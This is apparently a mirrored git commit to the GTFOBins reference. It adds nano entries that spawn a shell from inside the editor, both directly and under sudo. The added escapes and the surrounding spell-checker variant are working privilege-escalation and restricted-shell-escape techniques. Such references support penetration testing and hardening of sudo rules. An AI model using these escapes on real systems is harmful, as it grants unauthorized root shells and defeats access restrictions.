mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add new shell and sudo payload to nano
Thanks to https://twitter.com/TheKnapsy/status/1093137518780854273.
This commit is contained in:
parent
3bd955e8cc
commit
2650be9c68
@ -1,6 +1,10 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
|
- code: |
|
||||||
|
nano
|
||||||
|
^R^X
|
||||||
|
reset; sh 1>&0 2>&0
|
||||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
code: |
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
@ -24,6 +28,10 @@ functions:
|
|||||||
./nano -s $TF /etc/hosts
|
./nano -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
sudo:
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo nano
|
||||||
|
^R^X
|
||||||
|
reset; sh 1>&0 2>&0
|
||||||
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
code: |
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
|
Loading…
Reference in New Issue
Block a user